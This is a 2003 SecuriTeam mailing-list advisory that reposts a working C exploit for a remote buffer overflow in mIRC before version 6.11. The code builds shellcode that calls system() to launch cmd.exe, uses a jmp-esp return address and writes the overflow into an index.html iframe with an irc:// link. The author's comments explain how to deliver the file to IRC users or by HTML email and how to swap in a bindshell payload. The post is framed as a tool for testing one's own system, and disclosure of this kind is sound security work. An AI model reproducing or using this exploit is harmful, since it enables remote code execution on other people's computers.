

[EXPL] mIRC "IRC" Protocol Remote Buffer Overflow (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0092.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 10/21/03

To: list@securiteam.com

Date: 21 Oct 2003 18:40:59 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

mIRC "IRC" Protocol Remote Buffer Overflow (Exploit)

SUMMARY

As we reported in our previous article

<<http://www.securiteam.com/windowsntfocus/6M00B0U8KE.html>> mIRC Buffer Overflow (irc:// Links), a vulnerability in mIRC allows remote attackers to cause a web user to execute arbitrary code by overflowing an internal buffer in mIRC. The following is an exploit code that can be used to test your system for the mentioned vulnerability.

DETAILS

Exploit:

```
/** remote mirc < 6.11 exploit by blasty
```

```
**
```

```
** TESTED ON: Windows XP (No SP, Ducth) Build: 2600.xpclient.010817-1148
```

```
**
```

```
** A few days ago, I saw a mIRC advisory on packetstorm [1] and was surprised
```

```
** nobody had written an exploit yet. So I decided to start writing one.
```

```
** Since this was my first time coding a exploit for windows, it took some
```

Securiteam: [EXPL] mIRC "IRC" Protocol Remote Buffer Overflow (Exploit)

```
** research before I got the hang of it. (Ollydbg is much more confusing
then GDB btw :P)
**
** This exploits (ab)uses the bug in irc:// URI handling. It contains a
buffer-
** overflow, and when more then 998 bytes are given EIP will be
overwritten.
**
** At first I was thinking of a simple solution to get this exploitable.
Since
** giving an URI with > 998 chars to someone on IRC is simply NOT done :)
** Then I remember the iframe-irc:// flaw found by uuuppzz [2]
**
** This exploit will write an malicious HTML file containing an iframe
executing the
** irc:// address. So you can give this to anyone on IRC for example ;)
** The shellcode included does only execute cmd.exe, because I don't want
to be this
** a scriptkiddy util. But, replacing the shellcode with your own is also
possible.
** An 400 bytes shellcode (bindshell etc.) easily fits in the buffer, but
it may require
** some tweaking.
** After exiting the cmd.exe mIRC will crash, so shellcode its not 100%
clean, but who carez :)
**
** Oh yeah, I almost forgot.. this exploit also works even if mIRC isn't
started.
** mIRC will start automatically when an irc:// is executed, so you can
also send somebody
** and HTML email containing the evil HTML code. (only for poor clients
like Outlook Express :P)
**
**/
```

```
#include <stdio.h>
#include <memory.h>
#include <string.h>
```

```
/* Stupid cmd.exe exec shellcode. hey! I r !evil ;) */
unsigned char shellcode[] =
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
```

```
"\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
"\x44\x80\xbf\x77" // 0x78bf8044 <- adress of system()
"\xff\xd0"; // call system()
```

```
char jmpback[] =
    "\xE9\xCF\xFB\xFF\xFF"; // my leet negative JMP shellcode :)
```

Securiteam: [EXPL] mIRC "IRC" Protocol Remote Buffer Overflow (Exploit)

```
char buffer[1100], fstring[1300]; // heh, need to clean this up

int main(int argc, char *argv[]) {
    FILE *evil;

    fprintf(stdout, "-----\n"
        "mIRC < 6.11 remote exploit by blasty@geekz.nl\n"
        "Exploit downloaded on
www.k-otik.com\n"
        "-----\n\n");

    // NOPslides are cool
    memset(buffer, 0x90, sizeof(buffer) - 1);

    // place shellcode in buffer
    memcpy(buffer + 20, shellcode, strlen((char*)shellcode));

    // took this one from ntdll.dll (jmp esp)
    *(long *)&buffer[994] = 0x77F4801C;

    // place jmpback shellcode in buffer
    memcpy(buffer + 20 + strlen((char*)shellcode) + 1010, jmpback,
        strlen(jmpback));

    printf("[+] Evil buffer constructed\n");

    // open HTML file for writing
    if((evil = fopen("index.html", "a+")) != NULL) {

        // construct evil string :)
        sprintf(fstring, "<iframe src=\"irc://%s\"></iframe>", buffer);

        // write string to file
        fputs(fstring, evil);

        // close file
        fclose(evil);

        printf("[+] Evil HTML file written!\n");
        return(0);
    } else {
        // uh oh.. :/
        fprintf(stderr, "ERROR: Could not open index.html for writing!\n");
        return(1);
    }
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:blasty@geekz.nl> blasty.

Securiteam: [EXPL] mIRC "IRC" Protocol Remote Buffer Overflow (Exploit)

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.